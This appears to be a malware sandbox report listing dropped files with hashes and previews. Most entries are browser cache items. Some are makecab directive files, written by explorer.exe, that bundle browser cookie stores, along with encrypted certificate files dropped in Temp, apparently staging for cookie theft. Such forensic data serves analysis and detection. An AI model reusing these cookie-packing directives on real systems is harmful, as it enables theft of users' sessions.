Entropy (8bit):	5.345294167813595
Encrypted:	false
SSDEEP:	768:hVAyLXfhINb6yvz6Ix1wTpCUVkhB1Ct4AityQ1NEDEEvCDcRiZfWUcU5Jfoc:hVhEvxaEC+biAEv3RiEkz
MD5:	754F6C92A735B47A2CC5E7D03C2102D1
SHA1:	71DDB35ED5E57812B895A939C77A0196B538AF40
SHA-256:	491BF15460B5FEF7B972E48841BACADA7549A01CA52E46297E9F91B2E978132D
SHA-512:	D3A859DBB25BA28D0401428A6C68B87F0BE3825DAA773B161A86D33164846FF67ADD99FD4A1CF3CA4613293DD2F629C5CE2E9A3E6E8A7C796A361F02CEFA3C68
Malicious:	false
Preview:	{"DomainData":{"cctId":"55a804ab-e5c6-4b97-9319-86263d365d28","MainText":"Ihre Privatsph.re","MainInfoText":"Wir verarbeiten Ihre Daten, um Inhalte oder Anzeigen bereitzustellen, und analysieren die Bereitstellung solcher Inhalte oder Anzeigen, um Erkenntnisse .ber unsere Website zu gewinnen. Wir teilen diese Informationen mit unseren Partnern auf der Grundlage einer Einwilligung und berechtigter Interessen. Sie k.nnen Ihr Recht auf Einwilligung oder Widerspruch gegen ein berechtigtes Interesse aus.ben, und zwar auf der Grundlage eines der folgenden bestimmten Zwecke oder auf Partnerebene .ber den Link unter jedem Zweck. Diese Entscheidungen werden an unsere Anbieter, die am Transparency and Consent Framework teilnehmen, signalisiert.","AboutText":"Weitere Informationen","AboutCookiesText":"Ihre Privatsph.re","ConfirmText":"Alle zulassen","AllowAllText":"Einstellungen speichern","CookiesUsedText":"Verwendete Cookies","AboutLink":"https://go.microsoft.com/fwlink/?LinkId=521839","H

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\e151e5[1].gif Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.122191481864228
Encrypted:	false
SSDEEP:	3:CUTxls/1h/:7lU/
MD5:	F8614595FBA50D96389708A4135776E4
SHA1:	D456164972B508172CEE9D1CC06D1EA35CA15C21
SHA-256:	7122DE322879A654121EA250AEAC94BD9993F914909F786C98988ADBD0A25D5D
SHA-512:	299A7712B27C726C681E42A8246F8116205133DBE15D549F8419049DF3FCFDAB143E9A29212A2615F73E31A1EF34D1F6CE0EC093ECEAD037083FA40A075819D2
Malicious:	false
Preview:	GIF89a.............!.......,...........D..;

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\http___cdn.taboola.com_libtrc_static_thumbnails_93752f3f34bd2109f61300145fc7a74b[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3
Category:	dropped
Size (bytes):	9683
Entropy (8bit):	7.946133443005748
Encrypted:	false
SSDEEP:	192:US8vvzcdXfMUp2L5s4NyaFYSrkIK8uSTeamGMFc:/Av40Bya66kIK8BT/k+
MD5:	ACE4E52E97015B11360B14A3D3D53091
SHA1:	0F722AFAF41B6DEF5AF735E69B576F9846EDA9DC
SHA-256:	8C3AEE0CEF7E2B0D7D56A8A359D22E5D3EB60A5AE20E20525488E0DE9341DDA6
SHA-512:	B2A35B7DFA19C13CDD0B41A678072A86BEAF537467A6AB8288CB210922C0D185149C72B98D9C867DDC2E724718C3848AB45C0BDE23BD4591CC24A7F6EA0158D8
Malicious:	false
Preview:	......JFIF.............C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C.......-..-_?6?__________________________________________________......7....................................................................................n..2N.\|...u....0.SLn..F...RZ.k...~........e..yl..9o.w;t..#.....&....)....U.>.h.5;.$.Q.......+.=.]8..)..A&..k..2^....t;~}...:1.Z.K4.s-%59............:....-2..g..M.b.T.82I...Z.Yw;w......0.E+...0..<.~:.qs=l..I.1..Ps.2ahm\.l.W.^;q.....0....'O......n(4-PD.....)....l..'i....,r..$.....k..6V...9..Y.k5u7]....J.Z}#..`..$.....:x...X=..j...;.v..-i.c....7.Z.0q...-I)..m..G8.."...h*.N.WE7..pE.....&t..f.'.e........w.R..........&.%V.......D...I.'.r..a1.[8s>{ld=.sS.!..Uw5z.......l...\.....85..&.R.qy....-.6.....~U.X.....y}.K....W.nT.P..s:..)t1\|Y(.I1......p..........}w&.RJ...;....Bmm...#7.._S..1..Y5t;!<6..N..S........Zl...X..h".B..V.&\-41..F..d..........q.yy.i.m......T........j%. .,.....EO.^.'f.g..$@..&.Lf.-4...J.m....I.W..Y.\|

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\http___cdn.taboola.com_libtrc_static_thumbnails_d13c17567194ae739ea2893b05cc0dff[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3
Category:	dropped
Size (bytes):	11143
Entropy (8bit):	7.952793601244497
Encrypted:	false
SSDEEP:	192:/86oa76XlDLMuBqFRwRbdlJMBSetS/g1VR6ItvleEia17gqr:/8ra7618zRwRZHM3PSVesqr
MD5:	3068BDA6FECAF3E07B7AE690AE3AECE7
SHA1:	880F93F39B29480981B21E52683556EC306EBB41
SHA-256:	239EB6ADAD889BB8BB556A02D4C8156B877C21E815A2268D23F865471A62386C
SHA-512:	25E5642C603E5AC6D6F945969362CD0E6AB4CDA64AB2A67D3BF15A0591DE45F98BDA2411E65A8A74D605CCAF5D9901E30C198D8940D0EC91A9333FC688F9ABC0
Malicious:	false
Preview:	......JFIF..........................................."......".$...$.6&&6>424>LDDL_Z_\|\|.............................."......".$...$.6&&6>424>LDDL_Z_\|\|.......7...."..........4................................................................{..[.......H(8..V7v....=.p.}........b2.dm#.........R=..:]r...+..D.>w.l.w...H..&..wL..H.Y)2...."]VDti7.......r.D8U..r)....#...............l...b..r...U..j..S]...>.C.LCNw{.......k...Z....%~}..i......DS..\|Jn........+........Sm.i.F...H.\|#.M.... .....J...G....ACm&T7%.E+ .qVV~...H..+w....d...'~...+....H..3.$.U..e.J,k1@7..#.sz4.."..d.M..T.Wc.i...-.1...h.9.&.....CD;.H..3..0.{Pj..G.Z.o}..v.....G.6.6.arT.e.%..j..s.6e..h+Mx!$..E...w`...Y......4N5.8.1+.i+t~..:.oZ.r..F.-...`b...........'...v" 3...N..l:.k.]...<8s..U.d.l.d.6...,=..a.....DJ..n.Q .6..oV.=.]...1.H..x..s}...8..x.......lE.b.i...@.W.Y.BS.u4hX.H...>....V...g../.4..!1....`...._... .._.r.6@...8..^.>......@..\.myF..rY....2.w:dE..}.......?....v.}.U>.V.M........z..Qw.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\medianet[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	384364
Entropy (8bit):	5.484116945697963
Encrypted:	false
SSDEEP:	6144:leR9T2oOFvb2H0m943GNVLgz5QCuJbVqU21fij:l1Fvye3GNVLgWxpVqU21fij
MD5:	51E800897DEF03AE547CD8699A71228C
SHA1:	5968AB85DBF2CC4C66A4ED8D0511666C0AA22475
SHA-256:	8E56B08D7D229F566FDAC6AB8FE047B08A287BD34E419F13C24B3620A0640918
SHA-512:	B3A7AF7C71C5C552C6F27D6791806A2C11EE1AB02727B784C74D5C3FCB2D1B8F3996C59923EB5255DF44419A5D20E1A6573314E4DB1E0DC262A1C892F93953B7
Malicious:	false
Preview:	<html>.<head></head>.<body style="margin: 0px; padding: 0px; background-color: transparent;">.<script language="javascript" type="text/javascript">window.mnjs=window.mnjs\|\|{},window.mnjs.ERP=window.mnjs.ERP\|\|function(){"use strict";function e(e){"object"==typeof e&&(p=e)}function n(e){g=e}function t(e){m=e}function o(e){d=e}function r(e){"undefined"==typeof e.logLevel&&(e={logLevel:3,errorVal:e}),e.logLevel>=3&&w[e.logLevel-1].push(e)}function i(){var e,n=0;for(e=0;e<v;e++)n+=w[e].length;if(0!==n){var t,o,r,i,s=new Image,a=p.lurl?p.lurl:"https://lg3-a.akamaihd.net/nerrping.php",f="",c=0;for(e=v-1;e>=0;e--){for(n=w[e].length,t=0;t<n;){if(i=1===e?w[e][t]:{logLevel:w[e][t].logLevel,errorVal:{name:w[e][t].errorVal.name,type:g,svr:m,servname:d,message:w[e][t].errorVal.message,line:w[e][t].errorVal.lineNumber,description:w[e][t].errorVal.description,stack:w[e][t].errorVal.stack}},r=l(i),!(r.length+f.length<=1200)&&f.length){c=1;break}0!==f.length&&(f+=","),f+=r,w[e].shift(),n--

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\medianet[2].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	384365
Entropy (8bit):	5.484089977016649
Encrypted:	false
SSDEEP:	6144:leR9T2oOFvb2H0m943GNVLgz5QCuJbiqU21fij:l1Fvye3GNVLgWxpiqU21fij
MD5:	1A5F1848AC00E0D192AD4C66AF2B8D51
SHA1:	F1812D35E082709D7A4B1EFC5EA523A6248C6E3C
SHA-256:	A2B347FFED87521E23CD456CC493CBDE9FC74C42886619C67ADA6D3E6D672DD0
SHA-512:	716E8D034F063437842959184674B68BC809080C0EA01D23356D9BDE30AD489122A9CD9FD72D0743F4430D081F3276DFCFDDDD345B2DD4940A353A9F87B1F6DF
Malicious:	false
Preview:	<html>.<head></head>.<body style="margin: 0px; padding: 0px; background-color: transparent;">.<script language="javascript" type="text/javascript">window.mnjs=window.mnjs\|\|{},window.mnjs.ERP=window.mnjs.ERP\|\|function(){"use strict";function e(e){"object"==typeof e&&(p=e)}function n(e){g=e}function t(e){m=e}function o(e){d=e}function r(e){"undefined"==typeof e.logLevel&&(e={logLevel:3,errorVal:e}),e.logLevel>=3&&w[e.logLevel-1].push(e)}function i(){var e,n=0;for(e=0;e<v;e++)n+=w[e].length;if(0!==n){var t,o,r,i,s=new Image,a=p.lurl?p.lurl:"https://lg3-a.akamaihd.net/nerrping.php",f="",c=0;for(e=v-1;e>=0;e--){for(n=w[e].length,t=0;t<n;){if(i=1===e?w[e][t]:{logLevel:w[e][t].logLevel,errorVal:{name:w[e][t].errorVal.name,type:g,svr:m,servname:d,message:w[e][t].errorVal.message,line:w[e][t].errorVal.lineNumber,description:w[e][t].errorVal.description,stack:w[e][t].errorVal.stack}},r=l(i),!(r.length+f.length<=1200)&&f.length){c=1;break}0!==f.length&&(f+=","),f+=r,w[e].shift(),n--

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\otPcCenter[1].json Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	46394
Entropy (8bit):	5.58113620851811
Encrypted:	false
SSDEEP:	384:oj+X+jzgBCL2RAAaRKXWSU8zVrX0eQna41wFpWge0bRApQZInjatWLGuD3eWrwAs:4zgEFAJXWeNeIpW4lzZInuWjlHoQthI
MD5:	145CAF593D1A355E3ECD5450B51B1527
SHA1:	18F98698FC79BA278C4853D0DF2AEE80F61E15A2
SHA-256:	0914915E9870A4ED422DB68057A450DF6923A0FA824B1BE11ACA75C99C2DA9C2
SHA-512:	D02D8D4F9C894ADAB8A0B476D223653F69273B6A8B0476980CD567B7D7C217495401326B14FCBE632DA67C0CB897C158AFCB7125179728A6B679B5F81CADEB59
Malicious:	false
Preview:	.. {.. "name": "otPcCenter",.. "html": "PGRpdiBpZD0ib25ldHJ1c3QtcGMtc2RrIiBjbGFzcz0ib3RQY0NlbnRlciBvdC1oaWRlIG90LWZhZGUtaW4iIGFyaWEtbW9kYWw9InRydWUiIHJvbGU9ImRpYWxvZyIgYXJpYS1sYWJlbGxlZGJ5PSJvdC1wYy10aXRsZSI+PCEtLSBDbG9zZSBCdXR0b24gLS0+PGRpdiBjbGFzcz0ib3QtcGMtaGVhZGVyIj48IS0tIExvZ28gVGFnIC0tPjxkaXYgY2xhc3M9Im90LXBjLWxvZ28iIHJvbGU9ImltZyIgYXJpYS1sYWJlbD0iQ29tcGFueSBMb2dvIj48L2Rpdj48YnV0dG9uIGlkPSJjbG9zZS1wYy1idG4taGFuZGxlciIgY2xhc3M9Im90LWNsb3NlLWljb24iIGFyaWEtbGFiZWw9IkNsb3NlIj48L2J1dHRvbj48L2Rpdj48IS0tIENsb3NlIEJ1dHRvbiAtLT48ZGl2IGlkPSJvdC1wYy1jb250ZW50IiBjbGFzcz0ib3QtcGMtc2Nyb2xsYmFyIj48aDMgaWQ9Im90LXBjLXRpdGxlIj5Zb3VyIFByaXZhY3k8L2gzPjxkaXYgaWQ9Im90LXBjLWRlc2MiPjwvZGl2PjxidXR0b24gaWQ9ImFjY2VwdC1yZWNvbW1lbmRlZC1idG4taGFuZGxlciI+QWxsb3cgYWxsPC9idXR0b24+PHNlY3Rpb24gY2xhc3M9Im90LXNkay1yb3cgb3QtY2F0LWdycCI+PGgzIGlkPSJvdC1jYXRlZ29yeS10aXRsZSI+TWFuYWdlIENvb2tpZSBQcmVmZXJlbmNlczwvaDM+PGRpdiBjbGFzcz0ib3QtcGxpLWhkciI+PHNwYW4gY2xhc3M9Im90LWxpLXRpdGxlIj5Db25zZW50PC9

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\override[1].css Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1531
Entropy (8bit):	4.797455242405607
Encrypted:	false
SSDEEP:	24:Udf0F+MOu2UOqD3426TKgR2Yyk9696TkMYqdfskeEkeGk/ksuF9qaSm9qags:Ud8FYqTj36TKgR2Yyk9696TkMYO0keEW
MD5:	A570448F8E33150F5737B9A57B6D889A
SHA1:	860949A95B7598B394AA255FE06F530C3DA24E4E
SHA-256:	0BD288D5397A69EAD391875B422BF2CBDCC4F795D64AA2F780AFF45768D78248
SHA-512:	217F971A8012DE8FE170B4A20821A52FA198447FA582B82CF221F4D73E902C7E3AA1022CB0B209B6679C2EAE0F10469A149F510A6C2132C987F46214B1E2BBBC
Malicious:	false
Preview:	a.c-call-to-action:hover, button.c-call-to-action:hover{box-shadow:none!important}a.c-call-to-action:hover span, button.c-call-to-action:hover span{left:0!important}...c-call-to-action:not(.glyph-play):after { right: 0!important;} a.c-call-to-action:focus,button.c-call-to-action:focus{box-shadow:none!important}a.c-call-to-action:focus span,button.c-call-to-action:focus span{left:0!important;box-shadow:none!important}...theme-dark .c-me .msame_Header_name {color: #f2f2f2;}...pmg-page-wrapper .uhf div, .pmg-page-wrapper .uhf button, .pmg-page-wrapper .uhf a, .pmg-page-wrapper .uhf span, .pmg-page-wrapper .uhf p, .pmg-page-wrapper .uhf input {font-family: Segoe UI,SegoeUI,Helvetica Neue,Helvetica,Arial,sans-serif !important;}..@media (min-width: 540px) {.pmg-page-wrapper .uhf .c-uhfh-alert span, .pmg-page-wrapper .uhf #uhf-g-nav span, .pmg-page-wrapper .uhf .c-uhfh-actions span, .pmg-page-wrapper .uhf li, .pmg-page-wrapper .uhf button, .pmg-page-wrapper .uhf a, .pmg-page-wrapper .uhf #meC

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\robot[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 171 x 213, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	6327
Entropy (8bit):	7.917392761938663
Encrypted:	false
SSDEEP:	192:fqjwqVtaVHyEy9BWc2AwJ+3qg1f6WUBIT8mIKPNc93Y8Nm:Yk3WBkAkg1CWUCwmIKS93O
MD5:	4C9ACF280B47CEF7DEF3FC91A34C7FFE
SHA1:	C32BB847DAF52117AB93B723D7C57D8B1E75D36B
SHA-256:	5F9FC5B3FBDDF0E72C5C56CDCFC81C6E10C617D70B1B93FBE1E4679A8797BFF7
SHA-512:	369D5888E0D19B46CB998EA166D421F98703AEC7D82A02DC7AE10409AEC253A7CE099D208500B4E39779526219301C66C2FD59FE92170B324E70CF63CE2B429C
Malicious:	false
Preview:	.PNG........IHDR...................WPLTE...z..z........2........W..{..V........z.....2..3.....V..2..................W.....>`......tRNS.............................Y..j....IDATx....BcI.@A.s..HX....k.0c...T.?n./.~....b....GM.Gu.c...?.{5.5...4.'.o<...i.O.n<.f..?).g.&..8.E4..tl.4.G.o4.....'.....\......._ ...../.~..<......../.~^.}...?...~...Z../.~.]._ ...I. .Q.Y....YQu..i..4.._ \|S...A.-.-h...9...o...k.....9o..?N.U,../+...Z.y...nbMu....4O.7>..Y.-L=J..q..`.B^{4~.p...bR.j.....Gq=..]&..7Y)G6.....A.h`i]...Pd.'.7....9.2...2x.........&..a0N..By.Y.C..S......nR.-..A[5.....\|.p...+v...d\e..]Yq;.&q0..F.c.....p3.&.`..!q..}...k.g5n#........NG-.9...C..[.7.n.v..u......{o.C&n!.(.G7.JA.'6..{(<....p....:..!=..1.f.."..n.8....~o..N.3l..p.[..........r..6..z...(.g1qA.[....q.v+..&...B{.I.\..-.....S.y&.......J.Wn!\|D.....+...y.....9.......> .j......{.....K\X.n!..e.I.+'...j...-pA.[..2...8g.DO.#.?p.. ....-.w5.d......4....n..!q..=..Gu.X..O.........sN.h.q..n!..qP

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11606
Entropy (8bit):	4.883977562702998
Encrypted:	false
SSDEEP:	192:Axoe5FpOMxoe5Pib4GVsm5emdKVFn3eGOVpN6K3bkkjo5HgkjDt4iWN3yBGHh9sO:6fib4GGVoGIpN6KQkj2Akjh4iUxs14fr
MD5:	1F1446CE05A385817C3EF20CBD8B6E6A
SHA1:	1E4B1EE5EFCA361C9FB5DC286DD7A99DEA31F33D
SHA-256:	2BCEC12B7B67668569124FED0E0CEF2C1505B742F7AE2CF86C8544D07D59F2CE
SHA-512:	252AD962C0E8023419D756A11F0DDF2622F71CBC9DAE31DC14D9C400607DF43030E90BCFBF2EE9B89782CC952E8FB2DADD7BDBBA3D31E33DA5A589A76B87C514
Malicious:	false
Preview:	PSMODULECACHE......P.e...S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........7r8...C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.9260988789684415
Encrypted:	false
SSDEEP:	3:Nlllulb/lj:NllUb/l
MD5:	13AF6BE1CB30E2FB779EA728EE0A6D67
SHA1:	F33581AC2C60B1F02C978D14DC220DCE57CC9562
SHA-256:	168561FB18F8EBA8043FA9FC4B8A95B628F2CF5584E5A3B96C9EBAF6DD740E3F
SHA-512:	1159E1087BC7F7CBB233540B61F1BDECB161FF6C65AD1EFC9911E87B8E4B2E5F8C2AF56D67B33BC1F6836106D3FEA8C750CC24B9F451ACF85661E0715B829413
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\183C.bin\AuthRoot.pfx Download File
Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	21650
Entropy (8bit):	7.990772187794557
Encrypted:	true
SSDEEP:	384:tJzzBX/9aOfDOEe4ufhvboVGUsnX7ODR/vvzMShgJg52d59:DRlffyEeXTofsnX7m1vrthmV9
MD5:	34B8D41B13D3A1EF921C355ED9CF655E
SHA1:	1ECB928C0F6EB102EAB1DA7B79AD23F8B4C03883
SHA-256:	3F701E25125DE27FC491A87F353E9E321D671658F6BCFC92A5B5DAF400804399
SHA-512:	02FBA8256AF701A77513505AA0E6038E49B8009C151973CCFFAAD07BD6C003FB9D1BF95F61B329CB67F34D3B501C4C6B7A3A6D4A71465A4EB040EC7322BE43E7
Malicious:	false
Preview:	0.T....0.TJ...H........T;..T70.T30.T/...H........T 0.T....0.T....H......0....H.......0...Tw.a.........S..Q.....x.?.......,.._.q..n[..<............., !t.LjK.....!.....9'..E#.a..#.j...T.55. .<LF..g....'-jy.R.+.........m..;..N`..y.qgx[a...A...fRak...2..P..]Z.......Z.D..5.>l...w~+...U.....r0...)w:$...%...y.'N5....uW.l.......tJ...+..%......_.z.0i0i...Av...s.4..\|.kG....C..K..LS.'> ............. .w..t.TO?W..}.H)s.%z.G.=..TU..G.p..v...Y...4:..D.zr[n...7..m..,.ok..(%.S....W...>4.0..../.....-....V.X./.....z#.^.FV...Qz.%7[.N.._....P...0...yk$........R.+.i..v..........%.T.?PD......ayb......x.6..--.......7. n{gB.<v...b.....m.YK.t.~...$.)n..'.....O..\^Jg...0.t\|'.2./'.'......v/V/...X...).C[......v.pL.w.....p.P...T$L..j..[v..dS/N..I..$...gN..c...$...]h.}7!.l2.-...J.(.8o.x.7..].O.W.D...5.B...J..Z[v.D..s...F[(....E.9.#...x(p....o...3/jx.r....[=.M.i.."..>Y.v..:.cN.=...u.j...".?t....W.ax...Y.&Q.yx..542.$.}.DnZ....L.k.....~.5d7y_.h..

C:\Users\user\AppData\Local\Temp\183C.bin\Root.pfx Download File
Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	34394
Entropy (8bit):	7.993861639339075
Encrypted:	true
SSDEEP:	768:O+IQtD6Hw1NfjtDjSY6dDgJjf5POHqDF/6IjF+p5rejJRWBb:OBoGw1NrtDtoEjf4KDBTsfe0b
MD5:	1770BD8E435F0ACC9E4F123C1F349486
SHA1:	3992F6BE906569FDFB756133BEF8F9C039FB680D
SHA-256:	F6FD38717AB2F1397DE3C70D17E0834A93A22CB549B09892D85BE92A6AF78DDA
SHA-512:	C4212CEC45233FBEE70BB7A15AC38AA13213A2971B4DCD1BCA0B640DF32CCC0FCF36EDE921EC2E0D515618301E7163B009EC351237BFF996E3549DFCD7051C65
Malicious:	false
Preview:	0..V...0......H..............0...0......H..........0......0......H......0....H.......0......YJ<..........z>h...N~D...Io........!.6.....d$.0...\ .D....g..C..iz.J...4.I.W%......D....}.W.......:.,..2..s.r...@b.BrX\. }.1....?=t.U.......H..W^....e..>..u,...N_.-...._..q...d...}!t.6.-..o.e..U..o~:.x... e-.....[8T%.E.`./D...a.9.?)9.W.o2.........!...e..-..t7u....D!!c?.0E.6..H,P9..A....-....y..].?.M...G..b9.h.~0.9..Ukm...(A.Inf..&.j.........U..e..tk.P...^\|.O....5....".m.m+8.>...<..).L...P.N-E.......8...?2.E......;Zk.o....PE.`.hV....P.&..G.a ...y.....X........#.W<'.x..G%K...I....+8Gf.5.......zS..`S.B.............Z.!.',.DQ.O.F.....].....7.0!3.aB..a-J8.B6.!......#At.].o......(X....+Rd......h.9(.....>g.J.."!_R&........O?......g....d.b....B.cC..^....0.....$..K...[._.s7lt<.....&_...\.b(.}S.H..S...8..:......5.y....-.../...G;)....%.S+.........,......W.M..we...C.2!(..)}.....+g.Kk..QM..;huHx...U!F..>. q.."t.If.7jm..2.R....*}...E.A...R...rwd

C:\Users\user\AppData\Local\Temp\2099.bin Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	186
Entropy (8bit):	4.952347989425441
Encrypted:	false
SSDEEP:	3:tFoYXBsJaQGQberbJSRE2J5xAIkLW0HbRQ96mL8oaACLkh9QrhDdHyLHCLkhu3L+:tFdXBWe0i23fCvVQ968H0hDdSZE3LpdS
MD5:	C127031527AEA62A3D406DC8BBBDCD26
SHA1:	405016C972C7FE84A7E1118F8A35EBA96BB00F46
SHA-256:	780F011D1A12D15DB4D8D9F5BF1C49EDEEF8365FEAED6B5CC1256EEE55F1E75D
SHA-512:	C1E4DCA818AE97DD30FACCEBCD0C310E900CD067CDA5403054514B2F48C7BF502F17968598E8102676A0684BC3BE3B55E4CF4CF9C99A0F072B9081AAD706D0AA
Malicious:	false
Preview:	.set MaxDiskSize=0...set DiskDirectory1="C:\Users\user~1\AppData\Local\Temp"...set CabinetName1="293D.bin"...set DestinationDir="".."AuthRoot.pfx"...set DestinationDir="".."Root.pfx"..

C:\Users\user\AppData\Local\Temp\9A46.bin Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	110
Entropy (8bit):	5.037099259193421
Encrypted:	false
SSDEEP:	3:tFoYXBsJaQGQberbJSRE2J5xAIkLW0HbRQ9KsLHy:tFdXBWe0i23fCvVQ99zy
MD5:	0DDD6194C64F7163BDACCA454FC21C11
SHA1:	4B821BAC065BB0D6512115B1AF4DA091BEB989AC
SHA-256:	7B0B1A8DDC60972198906830EC830392A0F6C5F00165C2468A420ECF70222F85
SHA-512:	3C55016602668AF1A005E41B109B6BE000459DB62C8EFE6E43A470B1B74A8D50F54792C9E62BC9AEDFFD74BB543428B3464A8ACFC3BE23F8E2AE1C7DF93231C2
Malicious:	false
Preview:	.set MaxDiskSize=0...set DiskDirectory1="C:\Users\user~1\AppData\Local\Temp"...set CabinetName1="DE5C.bin"..

C:\Users\user\AppData\Local\Temp\D8D5.bin Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	234
Entropy (8bit):	4.7478616299499645
Encrypted:	false
SSDEEP:	6:tFdXBWe0i23fCvVQ9nTjxcmRrAITNTupM42LGRjuuv:tdmZCy9nKmRkSqyLGRrv
MD5:	6FF3C45EE02DEC453BCFBD0D5E1D8FB5
SHA1:	50F80673D19520CCEC465DD46D2844B01E7B0710
SHA-256:	0CE373A38CBF63D1B510395A8E59C7C5195BF2E8B647A64154886ACAE9FD1E60
SHA-512:	CAFE80D6EDE362036C8F7DFDFDD0BA5C911C413350A639D2C9A27669418D79EFB30522ACD028177FF90CFDA2FA94593BA66DCCEC5DCEB8D80F98EE0AA55B7FAE
Malicious:	false
Preview:	.set MaxDiskSize=0...set DiskDirectory1="C:\Users\user~1\AppData\Local\Temp"...set CabinetName1="E179.bin"...set DestinationDir="cookie.cr".."cookie.cr\Cookies.cr"...set DestinationDir="cookie.ie".."cookie.ie\deprecated.cookie.ie"..

C:\Users\user\AppData\Local\Temp\RESBA2B.tmp Download File
Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	data
Category:	modified
Size (bytes):	2192
Entropy (8bit):	2.7181586318783935
Encrypted:	false
SSDEEP:	24:r3lhXcZZH4hhKdNfI+ycuZhN+PAakSfPlPNnq9SpVBm9c:r8ZYvKd91ul+Ya3fXq9g
MD5:	6EC5779A06E95BCAC1401C90D272E6FC
SHA1:	904D4F9410877790BC44B39200232EE0A699ED1B
SHA-256:	20FDDDEDAF3E16E8D9290CED166C506798F1F0F9C1E6EF80524DF27B0F5A557D
SHA-512:	D54343E2D49012F6F8BB08CE57D3C29141E25DB52A50610885B3BF099C13929541E92DEC3FD3B764439D6AEAFDBFC84E22640F9F0A4E36FA6CF00F45BAD4545A
Malicious:	false
Preview:	........V....c:\Users\user\AppData\Local\Temp\q3xypckz\CSC358FCCDF4025435CA355D903053645.TMP....................<H t.dW..s.a...........7.......C:\Users\user~1\AppData\Local\Temp\RESBA2B.tmp.-.<...................'...Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RESC8D1.tmp Download File
Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	data
Category:	modified
Size (bytes):	2192
Entropy (8bit):	2.73873311952075
Encrypted:	false
SSDEEP:	24:xT4F7ZNZH5hKdNfI+ycuZhN1SakSEzPNnq9Sp/m9c:xT4JZNZnKd91ulca3Aq98
MD5:	45608BCE381A562240062D34B55B7932
SHA1:	E8D5A9B406319275730529AD78CDDC9670B491C4
SHA-256:	BD18274E162B36195AF9A8C93E937B57BEDEAF2603982019895102A8749BD25B
SHA-512:	E9B540F5E6F34901FAF40B5A0F069CD88312180895D2779A71EA68679EFD6355FD80BC2EDEBCFEA8C04B65138154CF46A1980F7AF1ADED07B83AE4B57D3BBE53
Malicious:	false
Preview:	........X....c:\Users\user\AppData\Local\Temp\chv50z53\CSCD671F0735D74415BB6A373562E60C48B.TMP...............K.C...M....y.............7.......C:\Users\user~1\AppData\Local\Temp\RESC8D1.tmp.-.<...................'...Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

